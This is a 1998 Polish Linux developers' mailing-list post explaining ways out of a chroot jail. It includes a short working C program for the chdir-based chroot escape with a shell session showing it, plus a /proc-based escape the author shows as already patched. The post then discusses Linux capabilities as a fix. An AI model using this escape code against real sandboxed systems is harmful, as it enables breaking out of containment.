chroot
Krzysztof G. Baranowski
kgb w manjak.knm.org.pl
Śro, 25 Lis 1998, 22:17:49 CET
On Wed, 25 Nov 1998, Robert Richard George 'reptile' Wal wrote:
> > Raczej nie, ale to jeszcze nie koniec. Sposobow ucieczki z chroot jest
> > wiele, np. ptrace(), iopl(), przez /proc, albo wykorzystujac fakt, ze
> > chroot() nie wywoluje cwd().
> OK. ptrace() i cwd() rozumiem,
's/cwd/chdir/' - przeklawiaturzenie, chodzilo mi o to, ze wywolanie
chroot nie wywoluje chdir. Odpalenie w chroocie czegos takiego
--- cut ---
#include <unistd.h>
int main(void)
{
mkdir("foo");
chroot("foo");
chdir("../../../../../../");
chroot(".");
execl("/bin/sh", "sh");
return 0;
}
--- cut ---
dziala tak:
manjak login: guest
Password:
Last login: Wed Nov 25 21:32:34 on tty3
bash# cd /
bash# ls
bin etc foo lib proc
bash# a.out
bash# ls
bin etc lib proc securefs var
boot fridge lost+found root tmp
dev home mnt sbin usr
bash# cd /
bash# ls
bin etc lib proc securefs var
boot fridge lost+found root tmp
dev home mnt sbin usr
I jestesmy poza chrootem.
> a jak działa to z /proc i jak chcesz go wykorzystać jak go nie ma?
Przeciez root moze sobie w kazdej chwili podmontowac. Acha, teraz ten
ficzer juz nie dziala. (ktos to w miedzyczasie poprawil). Ficzer
polega na tym, ze mozna wykonywac chdir() wykorzystujac
/proc/<pid>/{cwd,root} procesu nie bedacego w chroocie. Zobacza jak to
teraz wyglada (po poprawieniu)
[kawalek z pstree, 4486 - bash w chroocie, 3264 - login poza chrootem]
|-login(3264)---bash(3265)---pstree(4547)
|-login(4484)---chroot(4485)---bash(4486)
bash# cd /
bash# ls
bin etc foo lib proc
bash# mount -t proc none w
bash# cd 4486
bash# ls -l -F cwd root
lrwx------ 1 0 0 0 Nov 25 20:46 cwd -> /w/4486/
lrwx------ 1 0 0 0 Nov 25 20:46 root -> //
/* powyzsze wyglada i dziala normalnie */
bash# cd root
bash# ls
bin etc foo lib proc w
/* a to ponizej juz nie, ale kiedys dzialalo */
bash# cd w/3264
bash# ls -l -F cwd root
ls: cwd: Permission denied
ls: root: Permission denied
lrwx------ 1 0 0 0 Nov 25 20:49 cwd
lrwx------ 1 0 0 0 Nov 25 20:49 root
/* teraz juz nie dziala, ale kiedys mozna byl wykonac chdir()
i voila, bylismy poza chrootem */
> W skrócie znaczy to tyle, że teoretycznie można napisać program, który jest
> driverem do kontrolera IDE w userspace i jednocześnie ma zaimplementowaną
> obsługę ext2fs i uzywać go sobie do woli w chroocie?
Nope... jest jeden problem - przerwania.
> Ale idźmy dalej... Jak jest zrealizowane programowanie MMU?
AFAIR, to z userspace nie da sie.
Generalnie po wywolaniu iopl(3) (nie manual tylko iopl z argumentem
3) mozesz sobie wolac w programach userspace cli(), sti() i wszystkie
funkcje dot. I/O czyli: echo {in,out}{b,l,w}{_p,}\(\) :-)
> Cholera... Zaczyna mi się marzyć taki system, w którym root nie może zrobić
> absolutnie wszystkiego. Na przykład jakiś proces ma sobie (będąc rootem,
> czy luserem) prawa do otwierania niskich portów, dostępu do hardware. A
> demon chodzący w chroocie traci prawo do create_module(), ptrace(), mount()
> itp.
[ciach...]
Jak capabilities beda mial wsparcie od strony filesystemu to bedzie to
mozliwe. Zamiast 'chmod +s binarium' wywolasz sobie np.
'setcap +CAP_SYS_RAWIO binarka'. Na razie poczytaj sobie:
vi /usr/include/linux/capability.h
(jadro 2.1.x, fragment zaczynajacy sie komentarzem
** POSIX-draft defined capabilities.)
ftp://ftp.guardian.no/pub/free/linux/capabilities/capfaq.txt
i zapoznaj sie w programem o nazwie 'sucap'. Zreszta pakiety libpcap
jest juz w PLD-devel, sam robilem rpma do niego. Nie wiem tylko czy
Wojtek pozniej zupgradowal i jest to jest wersja z sucapem czy bez.
Ufff, ale sie rozpisalem. :-)
Pozdrowka,
Kris
--
Krzysztof G. Baranowski - Prezes Klubu Nieszkodliwych Manjaków
"Smith & Wesson - The original point and click interface..."
http://www.knm.org.pl/ <prezes w manjak.knm.org.pl>
Więcej informacji o liście dyskusyjnej pld-devel-pl